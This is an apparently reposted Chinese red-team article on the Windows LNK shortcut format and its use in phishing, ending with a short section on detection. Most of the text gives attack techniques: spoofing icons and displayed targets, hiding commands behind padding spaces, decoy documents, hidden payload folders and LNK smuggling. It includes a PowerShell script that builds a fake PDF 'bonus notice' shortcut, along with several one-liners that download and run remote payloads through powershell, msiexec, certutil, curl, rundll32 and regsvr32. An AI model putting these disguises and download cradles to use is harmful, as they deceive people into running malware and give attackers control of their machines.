前言
Windows Shell Link(.lnk)文件是微软开发的一种二进制快捷方式文件格式,其核心作用在于为应用程序、文档或系统资源创建快捷访问入口。由于其各种特性,被广泛用于黑客组织和攻防演练的钓鱼攻击活动中。本篇详细剖析LNK文件的结构,以及如何制作LNK文件、LNK在实战钓鱼攻击中的各种利用姿势。
一 LNK利用原因
LNK 文件被广泛用于钓鱼攻击的原因主要有这几点:
-
扩展名隐藏机制
Windows即使开启显示文件扩展名,也会隐藏快捷方式文件的 .lnk 扩展名,伪装性高。
-
伪装欺骗能力
可以将 lnk 图标伪装成各种类型的图标,包括文档图标、图片图标等。既可以从 imageres.dll 等系统资源中提取高仿真图标,也可以自动关联目标机器上的特定文件类型图标。此外 LNK 文件的说明以及属性中的目标也可以被伪装。
-
命令执行能力
LNK文件的目标路径支持带参数执行任意命令和任意文件。
-
一定的免杀能力
LNK 文件不是可执行文件,也不是直接可读的文本,除非通过 Windows API 提取到里面的目标,对目标进行审计,否则很难被查杀。
下面先讲 LNK 文件的格式,想看具体的伪装方式和利用方式的直接滑到第三节,建议先粗略看一下。
二 LNK文件格式
LNK文件遵循复合文档结构(Compound File Binary Format),由以下关键结构组成:
- ShellLinkHeader
包含CLSID标识、文件属性标志、创建/访问时间戳等元数据; - LinkTargetIDList
目标对象的Shell Item ID列表,支持解析本地路径、网络路径、特殊文件夹; - LinkInfo
存储目标路径详细信息,支持环境变量扩展(如%SystemRoot%system32calc.exe); - StringData
包含名称字符串、相对路径、工作目录、命令行参数、图标资源等文本信息; - ExtraData
扩展数据块,支持控制台属性、跳转列表等高级配置;
2.1 ShellLinkHeader
这个结构下的所有结构偏移都是固定的。
2.1.1 HeaderSize
占4字节,固定为 0x0000004C;
2.1.2 LinkCLSID
占16字节,固定为 00021401-0000-0000-C000-000000000046;
2.1.3 LinkFlags
占4字节,有以下常见标志位,共32位:
位索引 |
标志位名称 |
含义 |
0 |
HasLinkTargetIDList |
存在LinkTargetIDList结构(包含目标的逻辑路径树) |
1 |
HasLinkInfo |
存在LinkInfo结构(包含目标的绝对路径或网络路径) |
2 |
HasName |
存在NAME_STRING字段(自定义的快捷方式名称) |
3 |
HasRelativePath |
存在RELATIVE_PATH字段(目标的相对路径) |
4 |
HasWorkingDir |
存在WORKING_DIR字段(启动目标程序时的工作目录) |
5 |
HasArguments |
存在COMMAND_LINE_ARGUMENTS字段(启动程序时传递的命令行参数) |
6 |
HasIconLocation |
存在ICON_LOCATION字段(图标资源路径) |
7 |
IsUnicode |
所有字符串字段使用Unicode编码(否则为ANSI编码) |
8-31 |
不常用 |
不常用 |
例如示例文件该标志的值为 0x000000F3,转换为二进制:0000 0000 0000 0000 0000 0000 1111 0011,对应各个Flag是否被设置:
2.1.4 FileAttributes
占4字节,描述目标文件的属性(位掩码形式)。
位掩码 |
名称 |
含义 |
0x00000001 |
FILE_ATTRIBUTE_READONLY |
文件为只读 |
0x00000002 |
FILE_ATTRIBUTE_HIDDEN |
文件隐藏 |
0x00000004 |
FILE_ATTRIBUTE_SYSTEM |
系统文件 |
0x00000008 |
FILE_ATTRIBUTE_VOLUME_LABEL |
卷标(磁盘卷名称) |
0x00000010 |
FILE_ATTRIBUTE_DIRECTORY |
目录(文件夹) |
0x00000020 |
FILE_ATTRIBUTE_ARCHIVE |
存档文件(需备份) |
0x00000040 |
FILE_ATTRIBUTE_NORMAL |
普通文件(无其他属性) |
0x00000080 |
FILE_ATTRIBUTE_TEMPORARY |
临时文件 |
0x00000100 |
FILE_ATTRIBUTE_SPARSE_FILE |
稀疏文件(大文件优化) |
0x00000200 |
FILE_ATTRIBUTE_REPARSE_POINT |
重解析点(符号链接/挂载点) |
0x00000400 |
FILE_ATTRIBUTE_COMPRESSED |
文件被压缩 |
0x00000800 |
FILE_ATTRIBUTE_OFFLINE |
脱机文件(内容未本地缓存) |
0x00001000 |
FILE_ATTRIBUTE_NOT_CONTENT_INDEXED |
文件未被索引服务跟踪 |
0x00002000 |
FILE_ATTRIBUTE_ENCRYPTED |
文件被加密 |
2.1.5 时间戳
每个字段各占8字节:
CreationTime、AccessTime、WriteTime;
2.1.6 FileSize
占4字节,表示目标文件的原始大小(单位:字节)。对于目录或特殊文件(如设备文件),此字段可能为 0。
2.1.7 IconIndex
占4字节,指定快捷方式图标的索引或资源ID。
0表示使用目标文件的首个图标,如可执行文件的默认图标;负数: 表示图标在资源文件中的 资源ID,如 -101 对应资源ID 101。
2.1.8 ShowCommand
占4字节,定义目标程序启动时的窗口状态。
值 |
名称 |
含义 |
0x00000001 |
SW_SHOWNORMAL |
默认窗口大小和位置 |
0x00000003 |
SW_SHOWMAXIMIZED |
最大化窗口 |
0x00000007 |
SW_SHOWMINNOACTIVE |
最小化窗口(不激活) |
2.1.9 Hotkey
占2字节,定义启动程序的快捷键组合。
2.1.10 保留字段
占10字节,未使用的保留区域,通常为 0x00。
2.2 LinkTargetIDList
LinkTargetIDList 是 LNK 文件的核心字段,用于描述目标文件/文件夹的逻辑路径树,其结构如下:
typedef struct {
uint16 IDListSize; // 总大小(包括自身和后续所有字段)
IDList ItemID[]; // 路径节点列表(每个节点是一个ItemID)
uint16 TerminalID; // 结束标志(固定为0x0000)
} LinkTargetIDList;
2.2.1 IDListSize
占2字节,表示整个LinkTargetIDList结构的总字节数(包括IDListSize自身、所有ItemID和TerminalID)。
2.2.2 ItemID 结构
占用字节不固定,每个ItemID表示路径中的一个节点(如磁盘卷、文件夹、文件),其结构为:
typedef struct {
uint16 Size; // ItemID总大小(包括Size自身)
ubyte Type : 4; // 节点类型(4位)
ubyte TypeData : 4; // 类型子标志(4位)
byte Data[Size - 3]; // 数据部分(长度=Size-3字节)
} ItemID;
常见Type类型:
Type值 |
名称 |
含义 |
0x01 |
ROOT |
系统根节点(如“我的电脑”、“回收站”) |
0x02 |
VOLUME |
磁盘卷标(如“C:”) |
0x03 |
FILE |
文件或文件夹 |
0x04 |
NETWORK |
网络路径节点 |
0x06 |
URI |
URL路径(如http://或ftp://) |
TypeData 子标志仅当 Type=ROOT 时有效,例如 0x0F 表示根节点包含GUID(用于标识系统特殊文件夹,如CLSID_MyComputer)。这个数据结构的长度不定,所以之后的结构偏移就不固定了。
2.2.3 TerminalID
数值固定为0x0000,表示ItemID列表结束,紧接最后一个ItemID之后。
2.2.4 路径解析示例
假设 LinkTargetIDList 包含以下 ItemID 序列:
-
ROOT节点 (CLSID_MyComputer):
Type=0x01, TypeData=0x0F, Data=GUID{20D04FE0...}
{20D04FE0-3AEA-1069-A2D8-08002B30309D} → "此电脑"
{645FF040-5081-101B-9F08-00AA002F954E} → "回收站"
-
VOLUME节点 (C:):
Type=0x02, Data=卷标名称(如“System”)
-
FILE节点 (WindowsSystem32notepad.exe):
Type=0x03, Data=文件名、时间戳、文件大小等
-
最终路径:
This PCC:WindowsSystem32notepad.exe
在桌面上找一个快捷方式看一下这个结构:
2.3 LinkInfo
LinkInfo 结构用于描述目标文件的本地路径或网络路径信息,其字段位置和内容高度动态。LinkInfo的布局分为固定头部和动态子结构两部分:
typedef struct {
uint32 LinkInfoSize; // 总大小(包含所有子结构)
uint32 LinkInfoHeaderSize; // 固定头部长度(通常为0x1C或0x24)
uint32 LinkInfoFlags; // 标志位决定子结构是否存在
// 动态偏移字段(根据标志位可能不存在)
uint32 VolumeIDOffset; // 相对于LinkInfo起始位置的偏移
uint32 LocalBasePathOffset;
uint32 CommonNetworkRelativeLinkOffset;
uint32 CommonPathSuffixOffset;
// 可选字段(仅当LinkInfoHeaderSize >= 0x24)
uint32 LocalBasePathOffsetUnicode;
uint32 CommonPathSuffixOffsetUnicode;
// 动态子结构(由偏移字段定位)
VolumeID volumeID;
string LocalBasePath;
CommonNetworkRelativeLink networkLink;
string CommonPathSuffix;
// 可选的Unicode路径(由LinkFlags.IsUnicode决定)
wstring LocalBasePathUnicode;
wstring CommonPathSuffixUnicode;
} LinkInfo;
关注如下几个结构:
2.3.1 LinkInfoFlags
控制子结构的存在性,占4字节,按位解析,例如关于路径的控制:
Bit 0 (0x1):
是否包含VolumeID和LocalBasePath(本地路径)。
Bit 1 (0x2):
是否包含CommonNetworkRelativeLink(网络路径)。
Bit 7 (0x80):
路径是否为Unicode(由ShellLinkHeader的IsUnicode标志覆盖)。
2.3.2 VolumeID
描述目标文件所在磁盘卷的信息:
typedef struct {
uint32 VolumeIDSize; // 包括后续所有字段的总大小
uint32 DriveType; // 磁盘类型(DRIVE_FIXED等)
uint32 DriveSerialNumber;// 卷序列号
uint32 VolumeLabelOffset;// 卷标相对于VolumeID起始位置的偏移
string VolumeLabel; // 卷名称(ANSI或Unicode)
} VolumeID;
2.3.3 LocalBasePath
目标文件的本地路径字符串(如 C:Folderxx.exe),编码由 IsUnicode 决定(ANSI 或 UTF-16LE)。
存在条件:LinkInfoFlags 的 Bit 0 为1。
2.3.4 CommonNetworkRelativeLink
描述网络共享路径信息:
typedef struct {
uint32 Size; // 结构总大小
uint32 Flags; // 网络路径标志(如UNC路径)
uint32 NetNameOffset; // 网络名称偏移
uint32 DeviceNameOffset; // 设备名称偏移
uint32 NetworkProviderType; // 网络提供商类型(WNNC_NET_*)
string NetName; // 网络共享名称(如\ServerShare)
string DeviceName; // 映射驱动器盘符(如Z:)
} CommonNetworkRelativeLink;
2.3.5 CommonPathSuffix
附加到本地路径或网络路径后的子目录(如xxxx.exe),可能为空(仅包含终止符0x00)。
2.4 String_Data
String Data结构用于存储与快捷方式相关的各类字符串信息(如显示名称、相对路径、命令行参数等)。所有字符串类型共享相同的底层结构,但用途由 ShellLinkHeader 的 LinkFlags 决定:
typedef struct {
uint16 CountCharacters; // 字符串长度(字符数,不含终止符)
union {
char ANSI[CountCharacters]; // ANSI编码(单字节)
wchar_t Unicode[CountCharacters]; // Unicode编码(UTF-16LE)
} String; // 实际字符串内容
byte Padding[(2 - (CountCharacters % 2)) % 2]; // 仅ANSI编码时对齐填充(可选)
} StringData;
String Data 中具体包含的结构和内容由 ShellLinkHeader 中的 LinkFlags 标志位决定,以下是常见的结构:
2.4.1 NAME_STRING
标志位:HasName (Bit 2)
作用:快捷方式的显示名称,也就是将鼠标轻放在快捷方式文件上时,显示的名称。
2.4.2 RELATIVE_PATH
标志位:HasRelativePath (Bit 3)
作用:目标文件相对于快捷方式所在目录的相对路径,例如 chrome 快捷方式在 C:UsersxxDesktop 下面,那么相对路径就是:
C:UsersxxDesktop......Program FilesGoogleChromeApplicationchrome.exe
即从桌面回退三层目录,接后面的路径,也就是:
C:Program FilesGoogleChromeApplicationchrome.exe
2.4.3 WORKING_DIR
标志位:HasWorkingDir (Bit 4)
作用:启动目标程序时的工作目录。
2.4.4 COMMAND_LINE_ARGUMENTS
标志位:HasArguments (Bit 5)
作用:命令行参数,以 x00 结尾的 Unicode 字符串;
2.4.5 ICON_LOCATION
标志位:HasIconLocation (Bit 6)
作用:指示图标资源,可以是如下的值:
使用系统资源DLL ,结合IconIndex的索引值定位ico图标:
%SystemRoot%system32shell32.dll
独立ICO文件,也可以是远程网络路径:
C:Program Filesxxxxxx.ico
使用某一PE文件中的图标资源,结合IconIndex的资源ID值定位ico图标:
C:Program FilesGoogleChromeApplicationchrome.exe
"."加一个无需真实存在的文件,根据文件格式自动关联图标:
.1.pdf
2.5 EXTRA_DATA
EXTRA_DATA 是 LNK 文件的扩展数据区域,位于核心结构之后,包含多个独立的数据块,每个数据块通过签名(Signature)标识类型,用于存储快捷方式的附加配置或元数据。
EXTRA_DATA 由零个或多个下列数据块与 TERMINAL_BLOCK 组成,以下是常见数据块及其作用:
2.5.1 EnvironmentVariableDataBlock
标识符: 0xA0000001
作用: 定义目标路径的环境变量(如 %SystemRoot%system32cmd.exe)。
struct {
DWORD BlockSize; // 数据块大小
DWORD BlockSignature; // 固定标识 0xA0000001
WCHAR TargetAnsi[MAX_PATH]; // ANSI 格式环境变量路径
WCHAR TargetUnicode[MAX_PATH]; // Unicode 格式环境变量路径
}
2.5.2 ConsoleDataBlock
标识符: 0xA0000002
作用: 配置控制台程序的窗口属性(字体、颜色、尺寸)。
字段:
FillAttributes: 控制台背景/前景色(如 0x1F 表示蓝底白字)
PopupFillAttributes: 弹出窗口颜色
ScreenBufferSize: 屏幕缓冲区尺寸(列×行)
WindowSize: 可视窗口尺寸
2.5.3 TrackerDataBlock
标识符: 0xA0000003
作用: 存储目标文件的 NTFS ObjectID,用于路径失效时自动修复。
核心字段:
struct TRACKER_DATA_BLOCK {
DWORD BlockSize; // 数据块总大小
DWORD BlockSignature; // 固定标识符 0xA0000003
DWORD MachineIDSize; // 计算机名字符串长度
WCHAR MachineID[...]; // 计算机名(UTF-16)
GUID VolumeID; // 卷序列号(16 字节)
FILETIME FileIDLow; // 低 64 位 ObjectID
FILETIME FileIDHigh; // 高 64 位 ObjectID
DWORD Reserved[3]; // 保留字段
};
这个结构可以决定目标文件的全局唯一性,文件的全局唯一性由 VolumeID(卷序列号) + ObjectID(FileIDLow+High) 共同决定:
VolumeID:确保目标文件位于同一 NTFS 分区。
ObjectID:确保即使文件被移动或重命名,仍能通过 NTFS 元数据追踪到。
在 010 Editor 的 LNK 模板或其他第三方解析工具中,字段命名可能与微软官方文档不同:
官方字段名 |
010 Editor 模板字段名 |
大小 |
作用 |
VolumeID |
VolumeDroidBirth[16] |
16 字节 |
目标文件所在分区的卷序列号 |
FileIDLow |
DroidBirth[0..7] |
8 字节 |
ObjectID 的低 64 位 |
FileIDHigh |
DroidBirth[8..15] |
8 字节 |
ObjectID 的高 64 位 |
有TrackerDataBlock 这个结构的话,即使其他决定目标路径的数据结构被破坏,也可以通过这个数据结构追踪到指定的有效文件并修复快捷方式。
2.5.4 IconEnvironmentDataBlock
标识符: 0xA0000007
作用: 定义图标资源的环境变量路径。当 IconLocation 数据被破坏或失效时,该字段也可以用作显示图标。示例:
ProgramFiles%GoogleChromeApplicationchrome.exe
Windir%icon.dll,1
三 LNK伪装
3.1 图标伪装
3.1.1 显示指定ico图标
这个不多说了,为了使快捷方式文件移动到其他机器上图标不失效,一般不会去指定一个独立的 ico 文件或者应用程序,而是指定系统自带的 ico 资源 DLL,通过索引指定其中的图标,选一个比较有迷惑性的。
但是这样有一些局限,比如我要伪装成 pdf 或者电子表格之类的,系统自带的 ico 资源就没有合适的图标。
3.1.2 自动解析图标
在 2.4.5 的 IconLocation 一节说过,除了显式指定图标文件,还可以将这个数据设置成 "."加一个文件名,文件类型就是我们想要伪装的类型,但文件不需要真实存在。这样快捷方式就可以显示为当前机器上关联的该类型的文件打开方式图标。
这个具体的原理我没有找到相关资料,猜测可能是windows对文件相对路径的一些特殊解析导致的,比如 .1.pdf 不是真实存在的文件,也不是有效文件路径,可能触发了某种特殊的解析,让操作系统将其关联到 .pdf 类型文件的打开方式之类的....?
比如迅雷的图标,我在 ICON_LOCATION 数据前面加了.1.doc,快捷方式图标就变为了WPS的word文档图标。如果这个快捷方式转移到其他机器上,而新的机器上没有装 WPS 而是装的 office,图标就会变成 office 的 word 文档图标。
3.2 目标文件伪装
在前面讲 LNK 文件结构的内容中,我们可以发现有多个数据结构可以决定快捷方式的指向,还是以 chrome 的快捷方式为例(刚好这些字段它都有):
LinkTargetIDList:
LinkInfo下面的 LocalBasePath :
StringData 类型的 RELATIVE_PATH:
EXTRA_DATA 下面的 TrackerDataBlock:
根据 NTFS ObjectID 来定位唯一文件
经过测试,这些字段只要有一个是有效路径,就能成功执行目标,操作系统解析其中一个失败后就会去解析其他的,优先解析 LinkTargetIDList。
例如我把1、2、4的数据破坏掉,只保留 RELATIVE_PATH,发现快捷方式还是能成功执行到chrome主程序,并且一次打开后,被破坏的数据就自动修复了:
我们在右键查看快捷方式的属性时,可以清楚地看到快捷方式的目标是什么,如果是可疑的目标会容易引起受害者的怀疑。如下:
需要注意的是,虽然这里显示的目标是绝对路径,但是这个快捷方式有 RELATIVE_PATH 结构(.Excelevil.exe),即使这个文件夹移动到其他环境或目录,只要LNK始终与Excel文件夹在同一目录,就能根据这个字段找到文件。
那么有没有什么方法能伪装这个目标为合法目标,并且不影响我们去执行真正要执行的恶意目标?
虽然上面说了有多个结构可以决定快捷方式的目标,但是其中决定属性中的目标显示的,只有 LinkTargetIDList 结构,我只修改chrome快捷方式的这个结构的数据,看下效果:
所以,我们只需要修改 LinkTargetIDList 为看似合法的目标(不能是真实存在的合法目标,因为优先解析LinkTargetIDList,真的存在就真的解析到合法目标了)即可。
我们需要保留 LocalBasePath、RELATIVE_PATH、TrackerDataBlock 中的任意一个为恶意目标的真正指向,就可以实现快捷方式显示合法目标但实际仍可以执行恶意目标的效果。
测试一下,将我制作的恶意 LNK 的 LinkTargetIDList 修改为看似合法但不存在的目标:
属性展示效果如下:
点击快捷方式,依旧执行Excel下面的 evil.exe ,是个计算器程序:
执行完一次再看属性,目标就恢复了,这种是一次性欺骗,不过让受害者点一次也就够了,恶意程序再加个释放和打开诱饵文件的行为,其实很难让人怀疑。
在这篇文章里还提到了通过 EnvironmentVariableDataBlock 结构进行属性目标欺骗的方法,有兴趣的可以自己研究下:
https://www.cnblogs.com/zw1sh/p/17595381.html
3.3字符长度欺骗
其实也可以不用大费周章的伪装目标,快捷方式目标的最大长度只有260个字符,任何超过这个长度的字符都是不可见的。但是,命令行参数的最大长度却是4096个字符,我们可以在执行的命令行中插入大量空格,超过目标字段展示的260字符的长度,之后则无法在属性的窗口中看到整个命令。
例如原本的LNK属性:
加入大量空格之后(这里直接上工具了):
正常执行:
3.4 快捷方式描述
这个很简单,如果不加任何描述,将鼠标放在快捷方式上就会显示目标信息,不够真实:
可以直接在快捷方式的属性里加上备注:
效果:
3.5 快捷方式制作
对于基础的伪装,可以直接使用一些快捷方式生成工具,或者通过脚本生成;对于要求较多的强伪装,可以先在机器上找一个字段比较全的软件快捷方式,然后使用十六进制编辑器结合插件进行LNK解析,然后手动修改需要伪装的字段。
通过powershell生成快捷方式示例:
# 创建COM对象
$lnkPath = "重要通知2.pdf.lnk"
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut($lnkPath)
# 配置快捷方式属性
$Shortcut.TargetPath = "cmd.exe"
# 命令行参数,只是一个简单示例,很容易被杀,实战中需要做混淆
$Shortcut.Arguments = ' (大量空格) /c start /min powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(''http://xx.xx.xx.xx/payload.ps1'')"'
# 最小化窗口
$Shortcut.WindowStyle = 7
# 伪装pdf图标
$Shortcut.IconLocation = ".1.pdf"
# 清除热键设置
$Shortcut.Hotkey = ""
# 添加描述伪装
$Shortcut.Description = "公司年终奖发放通知"
# 保存LNK并清理COM对象
$Shortcut.Save()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Shortcut) | Out-Null
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($WshShell) | Out-Null
生成之后,再通过十六进制编辑器,对目标进行伪装,最终生成的快捷方式如下:
3.6 设置诱饵文件
无论LNK伪装成何种形式,都建议在恶意的目标程序或脚本中加入释放和打开诱饵文件的行为,使钓鱼更为逼真。
例如,如果我们将LNK伪装成文档,但实际执行隐藏目录下的evil.exe,那我们就在开发evil.exe时,加入一个在其他目录释放真实文档并打开的功能,这样在点击LNK时,受害者就会更确信自己打开的是真的文档了。这个不演示了很简单。
远程下载诱饵文档:
BOOL DownloadFileFromURL(LPCTSTR pszURL, LPCTSTR pszLocalPath){
HRESULT hr = URLDownloadToFileW(NULL, pszURL, pszLocalPath, 0, NULL);
return SUCCEEDED(hr);
}
LPCTSTR lpFile = L"C:\Users\Public\Documents\xxx.doc";
DownloadFileFromURL(L"http://xx.xx.xx.xx/xxx", lpFile);
HINSTANCE hInstance = ShellExecuteW(NULL, L"open", lpFile, NULL, NULL, 0);
unsigned char doc_data[] = {...};
LPCSTR lpFile = "C:\Users\Public\Documents\xxx.doc";
FILE* file = fopen(lpFile, "wb");
if (file == NULL) {
return 1;
}
fwrite(doc_data, 1, sizeof(doc_data), file);
fclose(file);
HINSTANCE hInstance = ShellExecuteA(NULL, "open", lpFile, NULL, NULL, 0);
四 LNK实际利用
4.1 独立 LNK 文件
4.1.1 远程下载执行:
LNK 目标指向 powershell、msiexec 等支持远程执行payload的程序,在参数中执行远程payload:
powershell -nop -c "sal a New-Object; $b=a Net.WebClient; $c=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('xxxxxxx'))); iex $b.DownloadString($c)"
msiexec /i http://xx.xx.xx.xx/update.msi /qn
或者使用certutil、curl,远程拉取 payload 到本地隐蔽目录再执行:
certutil -urlcache -split -f http://xx.xx.xx.xx/update.ini %APPDATA%MicrosoftNetworkconfig.ini && %APPDATA%MicrosoftNetworkconfig.ini
curl -sL https://xx.xx.xx.xx/update.dll -o C:WindowsTempupdate.dll && rundll32 C:WindowsTempupdate.dll,setConfig
4.1.2 LNK走私:
将恶意payload数据嵌入在LNK文件数据中,LNK执行时需要自行将这些数据从自身解析出来,落地到其他文件夹执行。
方法一:使用certutil
例如,遍历当前目录的所有.lnk文件,并尝试使用certutil来解码每个文件。解码出的文件将保存为.exe文件,然后移动和执行.exe文件:
%COMSPEC% /c "@echo off&(for %i in (*.lnk) do certutil -decode %i vNLllKOr.exe)&move vNLllKOr.exe C:Users%username%AppDataRoamingMicrosoft&start C:Users%username%AppDataRoamingMicrosoftvNLllKOr.exe
方法二:使用powershell
例如,从lnk文件特定偏移的位置提取数据,将提取的数据经过base解密后执行:
$os=0x0009fdda;$oe=0x000a1916;$f="xxx.rtf.lnk";if (-not(Test-Path $f)){$x = Get-ChildItem -Path $Env:temp -Filter $f -Recurse;[IO.Directory]::SetCurrentDirectory($x.DirectoryName);}$ifd = New-Object IO.FileStream $f,'Open','Read','ReadWrite';$x = New-Object byte[]($oe-$os);$ifd.Seek($os,[IO.SeekOrigin]::Begin);$ifd.Read($x,0,$oe-$os);$x=[Convert]::FromBase64CharArray($x,0,$x.Length);$s=[Text.Encoding]::ASCII.GetString($x);iex $s;
这个手法的具体实现在之前的文章中介绍过:
Lnk Smuggling
网络保安29,公众号:红蓝攻防研究实验室ATT&CK框架更新跟踪-LNK Icon Smuggling技术
4.2 与其他文件一起打包投递
由于上面的单文件投递,会涉及比较明显的远程下载和命令执行行为,所以很容易被检测。而与其他恶意文件一起打包的手法目前见的比较多。
4.2.1 携带恶意程序或脚本
LNK文件与隐藏的恶意程序或脚本一起打包,LNK通过系统程序(explorer、cmd、rundll32等)或脚本解释器(powershell、wscript等)执行恶意程序、DLL或脚本,也可以直接将目标设置为恶意程序或脚本。例如:
样本1 explorer执行隐藏文件夹下的恶意程序:
C:Windowsexplorer.exe __MACDOCscreencast.exe
样本2 复制恶意sct文件到其他目录,使用系统程序regsvr32执行:
"if not exist 233 (set qAxhww=inds) & copy C:WindowsSystem32scrobj.dll C:WindowsTempBypass4.dll & copy .passwordpassword.sct C:WindowsTemppassword.sct & regsvr32.exe /i:C:WindowsTemppassword.sct /u /s C:WindowsTempBypass4.dll" comspec% /v:on /c
样本3 rundll32执行伪装成pdf文档的恶意DLL:
C:WindowsSystem32rundll32.exe 亲情卡员工内部套餐办理详情.pdf,Thit
样本4 cmd执行隐藏目录下的恶意bat脚本:
C:windowssystem32cmd.exe (很多空格) /c ".__MACOSX.DOC1.bat"
4.2.2 白加黑
在基于文件签名结合检测的环境下,非合法文件的运行被发现的风险相对较高,所以现在的攻击者通常会找一些合法程序的DLL劫持问题,结合LNK进行钓鱼攻击。例如:
投递效果(未对目标做伪装):
不只是白exe+黑dll,包括合法软件的msi安装包+黑mst文件也都可以利用,例如:
C:WindowsSystem32msiexec.exe /qn /i WindowsPCHealthCheckSetup.msi TRANSFORMS=PCHealthCheckUpd.mst
之前在这篇文章讲过:
海莲花对MSI文件滥用的新手法
网络保安29,公众号:红蓝攻防研究实验室海莲花对MSI文件滥用的新手法——MST文件白加黑复现
4.2.3 文件隐藏
将LNK与其他文件或文件夹一起打包投递时,为了使效果更逼真,往往需要对恶意文件或文件夹进行隐藏,如果只是常规的在属性中勾选隐藏属性,当计算机开启了显示隐藏文件时,依然可以看到,如下:
而且这种隐藏方法,在经过某些压缩工具的压缩和解压之后,会丢失隐藏属性。
解决方法:设置双重属性保护:系统文件 + 隐藏文件。
Windows 默认隐藏关键系统文件(如 pagefile.sys、swapfile.sys、$RECYCLE.BIN),防止用户误删或修改。这些文件不仅带有隐藏属性,还带有系统属性,即使开启了显示隐藏文件,也无法看到。
隐藏属性(H):
常规隐藏文件:仅标记为 Hidden(隐藏属性),开启“显示隐藏文件”后可见。
系统属性(S):
系统文件:同时标记为 Hidden + System(隐藏+系统属性),默认受系统保护,即使显示隐藏文件也不可见。
将恶意文件夹或文件设置为系统隐藏文件:
attrib +s +h 文件或文件夹路径
取消隐藏属性和系统属性:
attrib -s -h 文件或文件夹路径
效果:
4.2.4 不解压点击LNK无法执行携带文件
如果通过压缩软件查看压缩包,在不解压的情况下打开或启动压缩包中的文件时,压缩软件会先把该文件拷贝到系统的一个临时目录中,然后再打开它。在这种情景下,由于只有LNK被拷贝了,而打包一起投递的恶意文件或文件夹没有被拷贝,当临时目录下的LNK被执行时,就无法找到所需的文件。
解决方法:
windows中的expand命令可以解压cab文件,将恶意文件和LNK快捷方式使用makecab打包成.cab文件,再将后缀改为.zip或.rar,在LNK目标中使用expand命令将压缩包全部解压再执行后续操作。
详情参考:
LNK钓鱼的奇思妙想
李坦然,公众号:安全小将李坦然【红队】lnk钓鱼的奇思妙想(你应该没见过)
五 检测思路
5.1 端点安全产品层面
1 对互联网来源的LNK文件,尤其是从外来压缩包解压出来的LNK,提取其中的目标和参数放到日志中用于检测;
2 通过快捷方式启动的进程,其 STARTUPINFO 结构中的 lpTitle 成员会包含来源 LNK 路径,在日志中记录这部分信息并用于检测;
3 LNK包含信息有限,在发现可疑LNK之后,有条件的还需要根据短时间内终端上的其他行为进行自动事件关联检测和分析。
5.2 检测规则层面
1 关注异常文件名的LNK释放行为,尤其是带有双后缀的LNK文件,例如 *.doc.lnk、*.pdf.lnk 这种,排除掉会产生误报的一些 office 进程等;
2 关注从同一压缩包释放了LNK文件,还释放了具有隐藏属性的其他文件或文件夹的行为;
3 对易被恶意利用的系统进程进行敏感行为监控,若安全产品支持获取进程启动的来源快捷方式,可重点关注有该字段的敏感系统进程;
4 若安全产品支持提取LNK目标和参数,在LNK文件落地时对其内容进行检测是否涉及危险进程和参数;
原文始发于微信公众号(红蓝攻防研究实验室):LNK文件深度解析-钓鱼攻击利用姿势
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论